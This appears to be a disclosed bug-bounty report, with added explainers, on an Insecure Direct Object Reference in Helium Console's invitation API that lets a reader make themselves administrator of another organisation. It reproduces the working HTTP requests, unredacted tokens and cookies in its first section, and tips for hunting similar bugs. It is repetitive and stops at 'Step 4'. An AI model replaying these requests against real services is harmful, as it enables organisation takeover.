Organization Takeover via invitation API
The invitation API allowed a user to specify any organization ID when creating an invitation, without checking that the requester was an administrator of that organization. An attacker could invite their own fake account as an admin to a target organization, then use that account to escalate their own privileges and remove the original owner.
- Triaged in 7 days
- Fixed in 28 days
- Paid in 7 days
- Disclosed after 58 days
Hello @helium,
today I would like to show you how a malicious user could exploit an IDOR affecting the /invitations resource to gain Administrator privileges inside an organization of which he's part of as a reader.
Steps to reproduce the bug
Setup
Let's assume that three accounts exist:
[email protected][Attacker][email protected][Victim][email protected][Attacker's fake account]
Initial Context: [Victim] is Administrator of the target organization on Helium Console and invites [Attacker] to join it as a reader.
Goal: [Attacker] escalate its privileges and becomes Administrator of the target organization
Attack
- [Attacker] makes a graphql query to leak the organization's id (using graphql it's only possible to see the memberships of the current organization):
POST /graphql HTTP/1.1
Host: console.helium.com
Connection: close
Content-Length: 469
accept: */*
Sec-Fetch-Dest: empty
authorization: Bearer eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJhdWQiOiJjb25zb2xlIiwiZXhwIjoxNTg1NzAyODgzLCJpYXQiOjE1ODU2MTY0ODMsImlzcyI6ImNvbnNvbGUiLCJqdGkiOiIwNjUwMGRiOS1kNjNlLTRiYTQtYWJiYy0xYmQ0YTViMzUxY2YiLCJuYmYiOjE1ODU2MTY0ODIsIm9yZ2FuaXphdGlvbiI6Ijg4M2IwYTQ2LWU0Y2YtNDMxNS1hZjRmLTQyMjZkMWFkYTU2MSIsIm9yZ2FuaXphdGlvbl9uYW1lIjoibG9sIiwic3ViIjoiOGY1YWJlMTktMDAwMS00MWI1LWE5NjktZmUwYjcxZGNjZjFmIiwidHlwIjoiYWNjZXNzIiwidXNlciI6IjhmNWFiZTE5LTAwMDEtNDFiNS1hOTY5LWZlMGI3MWRjY2YxZiJ9.VMAi-07cZkCJg-dffHdR1wwJbi9JNSzpaQSRSQGDX-_vDrcTOPEfgJU_LCZ8H5tYiwsexyD-ogLFakGY1bFy-A
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
content-type: application/json
Origin: https://console.helium.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Referer: https://console.helium.com/dashboard
Accept-Encoding: gzip, deflate
Accept-Language: it-IT,it;q=0.9,en-GB;q=0.8,en;q=0.7,en-US;q=0.6
Cookie: _ga=GA1.2.356414044.1583245182; ajs_anonymous_id=%22b4ba3101-c694-4846-baa8-7c8327764369%22; ajs_group_id=null; ajs_user_id=1; intercom-id-ghj6l8hv=253a4abc-6b70-4491-9b80-b8b69c070546; __cfduid=dfe09d09943b9f82399b493143e78867f1585613806; _console_key=SFMyNTY.g3QAAAAA.vg9m7JVv2pR0cST_2fykHvzkeAyEyq8PdhkZ0fBMMiM; amplitude_id_2b23c37c10c54590bf3f2ba705df0be6helium.com=eyJkZXZpY2VJZCI6IjI4OGY3ZTJiLTRjNTgtNDEyOC1hNWUwLTliYjY0OTRkMzU2N1IiLCJ1c2VySWQiOiI4ZjVhYmUxOS0wMDAxLTQxYjUtYTk2OS1mZTBiNzFkY2NmMWYiLCJvcHRPdXQiOmZhbHNlLCJzZXNzaW9uSWQiOjE1ODU2MTM4MDkxNzMsImxhc3RFdmVudFRpbWUiOjE1ODU2MTY4NjQwNDMsImV2ZW50SWQiOjU2MywiaWRlbnRpZnlJZCI6MTEwLCJzZXF1ZW5jZU51bWJlciI6NjczfQ==
{"operationName":"PaginatedOrganizationsQuery","variables":{"page":1,"pageSize":10},"query":"query PaginatedOrganizationsQuery($page: Int, $pageSize: Int) {\n organizations(page: $page, pageSize: $pageSize) {\n entries {\n ...OrganizationFragment\n __typename\n }\n totalEntries\n totalPages\n pageSize\n pageNumber\n __typename\n }\n}\n\nfragment OrganizationFragment on Organization {\n id\n name\n inserted_at\n __typename\n}\n"}
HTTP/1.1 200 OK
Date: Tue, 31 Mar 2020 01:07:44 GMT
Content-Type: application/json; charset=utf-8
Connection: close
Cache-Control: max-age=0, private, must-revalidate
Strict-Transport-Security: max-age=31536000
Via: 1.1 vegur
CF-Cache-Status: DYNAMIC
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Server: cloudflare
CF-RAY: 57c62cdb39b0be28-MXP
Content-Length: 401
{"data":{"organizations":{"__typename":"PaginatedOrganizations","entries":[{"__typename":"Organization","id":"883b0a46-e4cf-4315-af4f-4226d1ada561","inserted_at":"2020-03-31T00:58:34","name":"lol"},{"__typename":"Organization","id":"cb23000e-65b3-4628-9ede-656ffa0d5aa8","inserted_at":"2020-03-31T01:05:42","name":"target"}],"pageNumber":null,"pageSize":null,"totalEntries":null,"totalPages":null}}}
NOTE: the target organization's id is cb23000e-65b3-4628-9ede-656ffa0d5aa8
- Using its own organization's page [Attacker] makes a request to the
/api/invitationsend-point in order to add [Attacker's fake account] to it in the role of admin and intercepts this request through Burp Suite. It looks like this:
POST /api/invitations HTTP/1.1
Host: console.helium.com
Connection: close
Content-Length: 125
Accept: application/json, text/plain, */*
Sec-Fetch-Dest: empty
Authorization: Bearer eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJhdWQiOiJjb25zb2xlIiwiZXhwIjoxNTg1NzAyODgzLCJpYXQiOjE1ODU2MTY0ODMsImlzcyI6ImNvbnNvbGUiLCJqdGkiOiIwNjUwMGRiOS1kNjNlLTRiYTQtYWJiYy0xYmQ0YTViMzUxY2YiLCJuYmYiOjE1ODU2MTY0ODIsIm9yZ2FuaXphdGlvbiI6Ijg4M2IwYTQ2LWU0Y2YtNDMxNS1hZjRmLTQyMjZkMWFkYTU2MSIsIm9yZ2FuaXphdGlvbl9uYW1lIjoibG9sIiwic3ViIjoiOGY1YWJlMTktMDAwMS00MWI1LWE5NjktZmUwYjcxZGNjZjFmIiwidHlwIjoiYWNjZXNzIiwidXNlciI6IjhmNWFiZTE5LTAwMDEtNDFiNS1hOTY5LWZlMGI3MWRjY2YxZiJ9.VMAi-07cZkCJg-dffHdR1wwJbi9JNSzpaQSRSQGDX-_vDrcTOPEfgJU_LCZ8H5tYiwsexyD-ogLFakGY1bFy-A
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
Content-Type: application/json
Origin: https://console.helium.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Referer: https://console.helium.com/users
Accept-Encoding: gzip, deflate
Accept-Language: it-IT,it;q=0.9,en-GB;q=0.8,en;q=0.7,en-US;q=0.6
Cookie: _ga=GA1.2.356414044.1583245182; ajs_anonymous_id=%22b4ba3101-c694-4846-baa8-7c8327764369%22; ajs_group_id=null; ajs_user_id=1; intercom-id-ghj6l8hv=253a4abc-6b70-4491-9b80-b8b69c070546; __cfduid=dfe09d09943b9f82399b493143e78867f1585613806; _console_key=SFMyNTY.g3QAAAAA.vg9m7JVv2pR0cST_2fykHvzkeAyEyq8PdhkZ0fBMMiM; amplitude_id_2b23c37c10c54590bf3f2ba705df0be6helium.com=eyJkZXZpY2VJZCI6IjI4OGY3ZTJiLTRjNTgtNDEyOC1hNWUwLTliYjY0OTRkMzU2N1IiLCJ1c2VySWQiOiI4ZjVhYmUxOS0wMDAxLTQxYjUtYTk2OS1mZTBiNzFkY2NmMWYiLCJvcHRPdXQiOmZhbHNlLCJzZXNzaW9uSWQiOjE1ODU2MTM4MDkxNzMsImxhc3RFdmVudFRpbWUiOjE1ODU2MTY4OTQ2OTYsImV2ZW50SWQiOjU2NiwiaWRlbnRpZnlJZCI6MTEwLCJzZXF1ZW5jZU51bWJlciI6Njc2fQ==
{"invitation":{"email":"[email protected]","role":"admin","organization":"883b0a46-e4cf-4315-af4f-4226d1ada561"}}
- [Attacker] now only needs to change the organization field's value inserting the
targetone:
POST /api/invitations HTTP/1.1
Host: console.helium.com
Connection: close
Content-Length: 126
Accept: application/json, text/plain, */*
Sec-Fetch-Dest: empty
Authorization: Bearer eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJhdWQiOiJjb25zb2xlIiwiZXhwIjoxNTg1NzAyODgzLCJpYXQiOjE1ODU2MTY0ODMsImlzcyI6ImNvbnNvbGUiLCJqdGkiOiIwNjUwMGRiOS1kNjNlLTRiYTQtYWJiYy0xYmQ0YTViMzUxY2YiLCJuYmYiOjE1ODU2MTY0ODIsIm9yZ2FuaXphdGlvbiI6Ijg4M2IwYTQ2LWU0Y2YtNDMxNS1hZjRmLTQyMjZkMWFkYTU2MSIsIm9yZ2FuaXphdGlvbl9uYW1lIjoibG9sIiwic3ViIjoiOGY1YWJlMTktMDAwMS00MWI1LWE5NjktZmUwYjcxZGNjZjFmIiwidHlwIjoiYWNjZXNzIiwidXNlciI6IjhmNWFiZTE5LTAwMDEtNDFiNS1hOTY5LWZlMGI3MWRjY2YxZiJ9.VMAi-07cZkCJg-dffHdR1wwJbi9JNSzpaQSRSQGDX-_vDrcTOPEfgJU_LCZ8H5tYiwsexyD-ogLFakGY1bFy-A
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
Content-Type: application/json
Origin: https://console.helium.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Referer: https://console.helium.com/users
Accept-Encoding: gzip, deflate
Accept-Language: it-IT,it;q=0.9,en-GB;q=0.8,en;q=0.7,en-US;q=0.6
Cookie: _ga=GA1.2.356414044.1583245182; ajs_anonymous_id=%22b4ba3101-c694-4846-baa8-7c8327764369%22; ajs_group_id=null; ajs_user_id=1; intercom-id-ghj6l8hv=253a4abc-6b70-4491-9b80-b8b69c070546; __cfduid=dfe09d09943b9f82399b493143e78867f1585613806; _console_key=SFMyNTY.g3QAAAAA.vg9m7JVv2pR0cST_2fykHvzkeAyEyq8PdhkZ0fBMMiM; amplitude_id_2b23c37c10c54590bf3f2ba705df0be6helium.com=eyJkZXZpY2VJZCI6IjI4OGY3ZTJiLTRjNTgtNDEyOC1hNWUwLTliYjY0OTRkMzU2N1IiLCJ1c2VySWQiOiI4ZjVhYmUxOS0wMDAxLTQxYjUtYTk2OS1mZTBiNzFkY2NmMWYiLCJvcHRPdXQiOmZhbHNlLCJzZXNzaW9uSWQiOjE1ODU2MTM4MDkxNzMsImxhc3RFdmVudFRpbWUiOjE1ODU2MTY4OTQ2OTYsImV2ZW50SWQiOjU2NiwiaWRlbnRpZnlJZCI6MTEwLCJzZXF1ZW5jZU51bWJlciI6Njc2fQ==
{"invitation":{"email":"[email protected]","role":"admin","organization":"cb23000e-65b3-4628-9ede-656ffa0d5aa8"}}
HTTP/1.1 201 Created
Date: Tue, 31 Mar 2020 01:08:59 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 115
Connection: close
Cache-Control: max-age=0, private, must-revalidate
Message: User added to organization
Strict-Transport-Security: max-age=31536000
Via: 1.1 vegur
CF-Cache-Status: DYNAMIC
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Server: cloudflare
CF-RAY: 57c62eaa4ccde903-MXP
{"id":"a0262e0c-7939-42dd-a4ec-e42dc2eeaeab","joined_at":"2020-03-31T01:08:59","role":"admin","type":"memberships"}
- Now [Attacker's fake account] has got full privileges on the
targetorganization and can properly change [Attacker]'s role to Administrator and he can delete the original owner.
Mitigations
To be sure that the requesting user is an Administrator of that organization is enough to solve this issue.
Impact
This vulnerability has got a great impact on the platform as it allows any user to gain Administrator privileges on organizations he's part of, full controlling it.
Attachments
Context
Helium Console is the web application used to manage organisations, users and devices on the Helium platform. The report concerns the organisation membership feature: an organisation Administrator can invite other users by email and assign them a role, such as reader or admin. The invitation is created by the front end through a JSON API call to /api/invitations, and the organisation's identifier is supplied by the client in the request body.
The researcher found that this endpoint did not check whether the caller was an Administrator of the organisation named in the request. Any authenticated user could therefore create an invitation, with any role, for any organisation whose identifier they knew. The weakness was classified as an Insecure Direct Object Reference (IDOR) and rated medium severity, with a 100.00 USD bounty. The report was disclosed on 2020-05-27.
Setup
The researcher used three accounts on Helium Console:
| Account | Role in the scenario |
|---|---|
[redacted] |
Attacker |
[redacted] |
Victim |
[redacted] |
Attacker's fake account |
Initial context: the Victim is Administrator of an organisation called target and invites the Attacker to join it as a reader. The goal is for the Attacker to escalate privileges and become Administrator of target.
Requests were captured and modified with Burp Suite. The GraphQL and API calls were sent to console.helium.com with the Attacker's bearer token and session cookies.
Finding it
The invitation flow sends the organisation identifier as a plain field in the JSON body:
Because the value is client-controlled and the server appeared to act on it without verifying the caller's role in that organisation, the researcher suspected that changing the identifier to another organisation's UUID would create an invitation there. The only obstacle was obtaining that UUID, which the GraphQL API exposes through the organisation listing.
Exploitation
Step 1: leak the target organisation's id
The Attacker sends a GraphQL query to list organisations. As the researcher notes, through GraphQL it is only possible to see the memberships of the current organisation, but the response still returns the identifiers of the organisations the Attacker belongs to, including target.
POST /graphql HTTP/1.1
Host: console.helium.com
Connection: close
Content-Length: 469
accept: */*
Sec-Fetch-Dest: empty
authorization: Bearer [redacted]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
content-type: application/json
Origin: https://console.helium.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Referer: https://console.helium.com/dashboard
Accept-Encoding: gzip, deflate
Accept-Language: it-IT,it;q=0.9,en-GB;q=0.8,en;q=0.7,en-US;q=0.6
Cookie: [redacted]
{"operationName":"PaginatedOrganizationsQuery","variables":{"page":1,"pageSize":10},"query":"query PaginatedOrganizationsQuery($page: Int, $pageSize: Int) {\n organizations(page: $page, pageSize: $pageSize) {\n entries {\n ...OrganizationFragment\n __typename\n }\n totalEntries\n totalPages\n pageSize\n pageNumber\n __typename\n }\n}\n\nfragment OrganizationFragment on Organization {\n id\n name\n inserted_at\n __typename\n}\n"}
The response lists two organisations, lol and target, with their UUIDs:
HTTP/1.1 200 OK
Date: Tue, 31 Mar 2020 01:07:44 GMT
Content-Type: application/json; charset=utf-8
Connection: close
Cache-Control: max-age=0, private, must-revalidate
Strict-Transport-Security: max-age=31536000
Via: 1.1 vegur
CF-Cache-Status: DYNAMIC
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Server: cloudflare
CF-RAY: 57c62cdb39b0be28-MXP
Content-Length: 401
{"data":{"organizations":{"__typename":"PaginatedOrganizations","entries":[{"__typename":"Organization","id":"883b0a46-e4cf-4315-af4f-4226d1ada561","inserted_at":"2020-03-31T00:58:34","name":"lol"},{"__typename":"Organization","id":"cb23000e-65b3-4628-9ede-656ffa0d5aa8","inserted_at":"2020-03-31T01:05:42","name":"target"}],"pageNumber":null,"pageSize":null,"totalEntries":null,"totalPages":null}}}
The target organisation's id is cb23000e-65b3-4628-9ede-656ffa0d5aa8.
Step 2: capture a legitimate invitation request
Using its own organisation's page, the Attacker requests an invitation for the fake account with the admin role, and intercepts the request in Burp Suite:
POST /api/invitations HTTP/1.1
Host: console.helium.com
Connection: close
Content-Length: 125
Accept: application/json, text/plain, */*
Sec-Fetch-Dest: empty
Authorization: Bearer [redacted]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
Content-Type: application/json
Origin: https://console.helium.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Referer: https://console.helium.com/users
Accept-Encoding: gzip, deflate
Accept-Language: it-IT,it;q=0.9,en-GB;q=0.8,en;q=0.7,en-US;q=0.6
Cookie: [redacted]
{"invitation":{"email":"[redacted]","role":"admin","organization":"883b0a46-e4cf-4315-af4f-4226d1ada561"}}
The body carries three fields: the invitee's email, the role to grant, and the organisation UUID. The organisation value is the Attacker's own organisation (lol), which is the one the Attacker is entitled to administer.
Step 3: swap the organisation id
The Attacker changes only the organization field, replacing its own organisation's UUID with the target one:
POST /api/invitations HTTP/1.1
Host: console.helium.com
Connection: close
Content-Length: 126
Accept: application/json, text/plain, */*
Sec-Fetch-Dest: empty
Authorization: Bearer [redacted]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
Content-Type: application/json
Origin: https://console.helium.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Referer: https://console.helium.com/users
Accept-Encoding: gzip, deflate
Accept-Language: it-IT,it;q=0.9,en-GB;q=0.8,en;q=0.7,en-US;q=0.6
Cookie: [redacted]
{"invitation":{"email":"[redacted]","role":"admin","organization":"cb23000e-65b3-4628-9ede-656ffa0d5aa8"}}
The server accepts the request and creates the membership in the target organisation:
HTTP/1.1 201 Created
Date: Tue, 31 Mar 2020 01:08:59 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 115
Connection: close
Cache-Control: max-age=0, private, must-revalidate
Message: User added to organization
Strict-Transport-Security: max-age=31536000
Via: 1.1 vegur
CF-Cache-Status: DYNAMIC
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Server: cloudflare
CF-RAY: 57c62eaa4ccde903-MXP
{"id":"a0262e0c-7939-42dd-a4ec-e42dc2eeaeab","joined_at":"2020-03-31T01:08:59","role":"admin","type":"memberships"}
The response confirms a membership with role: admin was created. The Attacker's fake account now has full privileges on target.
Step 4: take over the organisation
With the fake account holding admin rights on target, the Attacker can change the original Attacker account's role to Administrator and delete the original owner.
The attached video, Organization_Takeover_via_Invitations.mp4, walks through the attack.
Root cause
The /api/invitations endpoint trusted the organization value supplied in the request body and created the invitation without checking that the authenticated caller was an Administrator of that organisation. The endpoint created the invitation without checking that the caller was an Administrator of the organisation named in the body. The GraphQL organisation listing returned the target UUID to the Attacker, who was a reader of target.
Impact
Any user can gain Administrator privileges on organisations they are part of, and thereby take full control of them. In the reported scenario the Attacker was already a reader of target, which was enough to learn its UUID and to escalate to Administrator, after which the original owner could be removed.
Fix
The researcher's suggested mitigation is to verify that the requesting user is an Administrator of the organisation named in the request. The report does not describe a fix that was applied by the vendor.
Variants to test
- Swap the organisation identifier in other membership endpoints (role changes, removals, invitation acceptance) and check whether the server enforces the caller's role in the organisation named in the body. A positive result is a 2xx response that changes state in an organisation where the caller is only a reader.
- Create an invitation with an elevated role (admin) for an organisation where the caller is a reader, as in this report. A positive result is a created membership with the elevated role.
- Enumerate organisation UUIDs through GraphQL or REST listings and try each against the invitation endpoint. A positive result is any organisation that accepts an invitation from an account that is not its Administrator.
- Test whether the organisation identifier can be supplied in a header, path segment or query parameter instead of the body, and whether any of those variants bypass the check. A positive result is the same state change through an alternative location.
Hunting notes
This bug lives in multi-tenant features where the tenant identifier is sent by the client: invitation and membership management, role assignment, user listing and any admin action scoped to an organisation. During recon, look for JSON bodies that carry an organisation, team or workspace UUID alongside a role, and for GraphQL queries that return those UUIDs to low-privileged members. The signal is a request whose only tenant scoping is a client-supplied identifier.
The researcher started from a reader account, showed the UUID leak and the request that created an admin membership in another organisation, and described the resulting takeover path. That chain, from a low-privileged starting point to full control of an organisation, is what made the report actionable.
What happened, in plain words
Helium Console is a website where people manage organisations, users and devices on the Helium platform. Think of an organisation as a shared workspace, like a company account in an online tool: several people can belong to it, and each person has a role that decides what they are allowed to do. An Administrator can do everything, including inviting new people and changing roles. A reader can look at things but not change them.
When an Administrator invites someone, the website sends a small message to the server behind the scenes. That message is a JSON API call to /api/invitations. An API is simply a way for one piece of software to talk to another: the browser sends a structured request, and the server sends back a structured answer. JSON is the text format used for those messages, made of field names and values in curly brackets.
The researcher found that this endpoint did not check whether the person sending the request was actually an Administrator of the organisation named in the message. Any logged-in user could therefore create an invitation, with any role, for any organisation whose identifier they knew. This kind of flaw is called an Insecure Direct Object Reference, or IDOR: the server takes an identifier straight from the user and acts on the object it points to, without checking that the user is allowed to touch that object. A simple comparison: a hotel clerk who hands out a room key to anyone who reads out a room number, without checking that the person is booked into that room.
The weakness was rated medium severity, with a 100.00 USD bounty, and the report was disclosed on 2020-05-27.
Setup
The researcher used three accounts on Helium Console:
| Account | Role in the scenario |
|---|---|
[redacted] |
Attacker |
[redacted] |
Victim |
[redacted] |
Attacker's fake account |
Initial context: the Victim is Administrator of an organisation called target and invites the Attacker to join it as a reader. The goal is for the Attacker to escalate privileges and become Administrator of target. Escalating privileges means moving from a low level of permission to a higher one, here from reader to Administrator.
Requests were captured and modified with Burp Suite. Burp Suite is a tool that sits between the browser and the server: it shows each request before it leaves and lets you edit it first. The GraphQL and API calls were sent to console.helium.com with the Attacker's bearer token and session cookies. A bearer token is a long string the server gives you after login, and sending it with a request is how you prove who you are; "bearer" means whoever holds it is treated as the owner. A cookie is a small piece of data the browser stores for a site and sends back automatically on every request, which is another way the server recognises your session. GraphQL is a query language for APIs: instead of many fixed endpoints, the client sends a query describing exactly which fields it wants back.
Finding it
The invitation flow sends the organisation identifier as a plain field in the JSON body:
This is the shape of the message the browser sends when an Administrator invites someone. email is the address of the person being invited, role is the permission level to give them, and organization is the identifier of the workspace the invitation belongs to. A UUID is a long random-looking identifier, here written as <uuid> as a placeholder.
Because the value is client-controlled and the server appeared to act on it without verifying the caller's role in that organisation, the researcher suspected that changing the identifier to another organisation's UUID would create an invitation there. "Client-controlled" means the value comes from the browser, so the user can change it freely before sending. The only obstacle was obtaining that UUID, which the GraphQL API exposes through the organisation listing.
Exploitation
Step 1: leak the target organisation's id
The Attacker sends a GraphQL query to list organisations. As the researcher notes, through GraphQL it is only possible to see the memberships of the current organisation, but the response still returns the identifiers of the organisations the Attacker belongs to, including target. The point of this step is to learn the UUID of target, which the next step needs.
POST /graphql HTTP/1.1
Host: console.helium.com
Connection: close
Content-Length: 469
accept: */*
Sec-Fetch-Dest: empty
authorization: Bearer [redacted]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
content-type: application/json
Origin: https://console.helium.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Referer: https://console.helium.com/dashboard
Accept-Encoding: gzip, deflate
Accept-Language: it-IT,it;q=0.9,en-GB;q=0.8,en;q=0.7,en-US;q=0.6
Cookie: [redacted]
{"operationName":"PaginatedOrganizationsQuery","variables":{"page":1,"pageSize":10},"query":"query PaginatedOrganizationsQuery($page: Int, $pageSize: Int) {\n organizations(page: $page, pageSize: $pageSize) {\n entries {\n ...OrganizationFragment\n __typename\n }\n totalEntries\n totalPages\n pageSize\n pageNumber\n __typename\n }\n}\n\nfragment OrganizationFragment on Organization {\n id\n name\n inserted_at\n __typename\n}\n"}
Line by line:
POST /graphql HTTP/1.1is the request line: it sends data (POST) to the/graphqlpath on the server, using version 1.1 of the HTTP protocol, the language browsers and servers use to talk.Host: console.helium.comnames the server being contacted.Connection: closeasks the server to close the connection after answering.Content-Length: 469says how many bytes the body contains.accept: */*says the client will accept any response format.Sec-Fetch-Dest,Sec-Fetch-SiteandSec-Fetch-Modeare headers modern browsers add to describe where a request came from and what it is for.authorization: Bearer [redacted]carries the token that identifies the logged-in user. The real value is a credential, so it is hidden here.User-Agentdescribes the browser that made the request.content-type: application/jsonsays the body is JSON.OriginandReferersay which site and page the request came from.Accept-Encoding,Accept-Languagedescribe what compression and languages the client prefers.Cookie: [redacted]carries the browser's stored cookies, another credential, also hidden.- The body is the GraphQL request.
operationNamenames the query,variablessupplies the page number and page size, andqueryis the actual query text. The query asks fororganizations, and for each entry it asks for the fields defined inOrganizationFragment:id,nameandinserted_at. In other words, it asks the server: give me the organisations I can see, with their identifiers and names.
The response lists two organisations, lol and target, with their UUIDs:
HTTP/1.1 200 OK
Date: Tue, 31 Mar 2020 01:07:44 GMT
Content-Type: application/json; charset=utf-8
Connection: close
Cache-Control: max-age=0, private, must-revalidate
Strict-Transport-Security: max-age=31536000
Via: 1.1 vegur
CF-Cache-Status: DYNAMIC
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Server: cloudflare
CF-RAY: 57c62cdb39b0be28-MXP
Content-Length: 401
{"data":{"organizations":{"__typename":"PaginatedOrganizations","entries":[{"__typename":"Organization","id":"883b0a46-e4cf-4315-af4f-4226d1ada561","inserted_at":"2020-03-31T00:58:34","name":"lol"},{"__typename":"Organization","id":"cb23000e-65b3-4628-9ede-656ffa0d5aa8","inserted_at":"2020-03-31T01:05:42","name":"target"}],"pageNumber":null,"pageSize":null,"totalEntries":null,"totalPages":null}}}
Line by line:
HTTP/1.1 200 OKis the status line: 200 means the request succeeded.Dateis when the server answered.Content-Type: application/json; charset=utf-8says the answer is JSON text.Cache-Control: max-age=0, private, must-revalidatetells caches not to reuse the answer.Strict-Transport-Securitytells the browser to keep using HTTPS for this site.Via: 1.1 vegurshows the request passed through a proxy layer.CF-Cache-Status,Expect-CT,Server: cloudflareandCF-RAYare headers from Cloudflare, the service in front of the site.Content-Length: 401is the size of the body.- The body is the answer. Under
data.organizations.entriesthere are two objects. The first hasid883b0a46-e4cf-4315-af4f-4226d1ada561andnamelol. The second hasidcb23000e-65b3-4628-9ede-656ffa0d5aa8andnametarget. Theinserted_atvalues are creation timestamps, and thenullfields are simply empty.
The target organisation's id is cb23000e-65b3-4628-9ede-656ffa0d5aa8.
Step 2: capture a legitimate invitation request
Using its own organisation's page, the Attacker requests an invitation for the fake account with the admin role, and intercepts the request in Burp Suite. This step is done first on the Attacker's own organisation, where the Attacker is allowed to act, so that the exact shape of a valid request is known before changing anything.
POST /api/invitations HTTP/1.1
Host: console.helium.com
Connection: close
Content-Length: 125
Accept: application/json, text/plain, */*
Sec-Fetch-Dest: empty
Authorization: Bearer [redacted]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
Content-Type: application/json
Origin: https://console.helium.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Referer: https://console.helium.com/users
Accept-Encoding: gzip, deflate
Accept-Language: it-IT,it;q=0.9,en-GB;q=0.8,en;q=0.7,en-US;q=0.6
Cookie: [redacted]
{"invitation":{"email":"[redacted]","role":"admin","organization":"883b0a46-e4cf-4315-af4f-4226d1ada561"}}
Line by line:
POST /api/invitations HTTP/1.1sends a request to the invitations endpoint, the part of the server that handles invitations.Host,Connection,Content-Lengthwork as before; the body is 125 bytes.Accept: application/json, text/plain, */*says the client prefers JSON, then plain text, then anything.Sec-Fetch-*headers again describe the request's origin and purpose.Authorization: Bearer [redacted]is the Attacker's login token, hidden.User-Agentdescribes the browser.Origin,Referershow the request came from the console's users page.Accept-Encoding,Accept-Languageare the client's preferences.Cookie: [redacted]is the browser's stored cookies, hidden.- The body carries three fields: the invitee's email (
[redacted], the fake account), the role to grant (admin), and the organisation UUID (883b0a46-e4cf-4315-af4f-4226d1ada561). The organisation value is the Attacker's own organisation (lol), which is the one the Attacker is entitled to administer.
Step 3: swap the organisation id
The Attacker changes only the organization field, replacing its own organisation's UUID with the target one. Everything else stays the same, so the request still looks like a normal invitation from a legitimate user; only the workspace it points at is different.
POST /api/invitations HTTP/1.1
Host: console.helium.com
Connection: close
Content-Length: 126
Accept: application/json, text/plain, */*
Sec-Fetch-Dest: empty
Authorization: Bearer [redacted]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
Content-Type: application/json
Origin: https://console.helium.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Referer: https://console.helium.com/users
Accept-Encoding: gzip, deflate
Accept-Language: it-IT,it;q=0.9,en-GB;q=0.8,en;q=0.7,en-US;q=0.6
Cookie: [redacted]
{"invitation":{"email":"[redacted]","role":"admin","organization":"cb23000e-65b3-4628-9ede-656ffa0d5aa8"}}
Line by line:
- The request line, host, connection and length headers are the same as before; the body is now 126 bytes because the new UUID is one character longer.
- The
Accept,Sec-Fetch-*,Authorization,User-Agent,Content-Type,Origin,Referer,Accept-Encoding,Accept-LanguageandCookieheaders are unchanged. - The body is identical except for
organization, which is nowcb23000e-65b3-4628-9ede-656ffa0d5aa8, the UUID oftargetobtained in step 1. The email and role are still the fake account andadmin.
The server accepts the request and creates the membership in the target organisation:
HTTP/1.1 201 Created
Date: Tue, 31 Mar 2020 01:08:59 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 115
Connection: close
Cache-Control: max-age=0, private, must-revalidate
Message: User added to organization
Strict-Transport-Security: max-age=31536000
Via: 1.1 vegur
CF-Cache-Status: DYNAMIC
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Server: cloudflare
CF-RAY: 57c62eaa4ccde903-MXP
{"id":"a0262e0c-7939-42dd-a4ec-e42dc2eeaeab","joined_at":"2020-03-31T01:08:59","role":"admin","type":"memberships"}
Line by line:
HTTP/1.1 201 Createdmeans the server created something new, which is exactly what an invitation should do.Dateis the time of the answer.Content-Typesays the body is JSON.Content-Length: 115is the body size.Cache-Control,Strict-Transport-Security,Via,CF-Cache-Status,Expect-CT,ServerandCF-RAYare the same infrastructure headers as before.Message: User added to organizationis a short human-readable note from the server.- The body describes the new membership:
idis its own identifier,joined_atis when it was created,roleisadmin, andtypeismemberships. The response confirms a membership withrole: adminwas created. The Attacker's fake account now has full privileges ontarget.
Step 4: take over the organisation
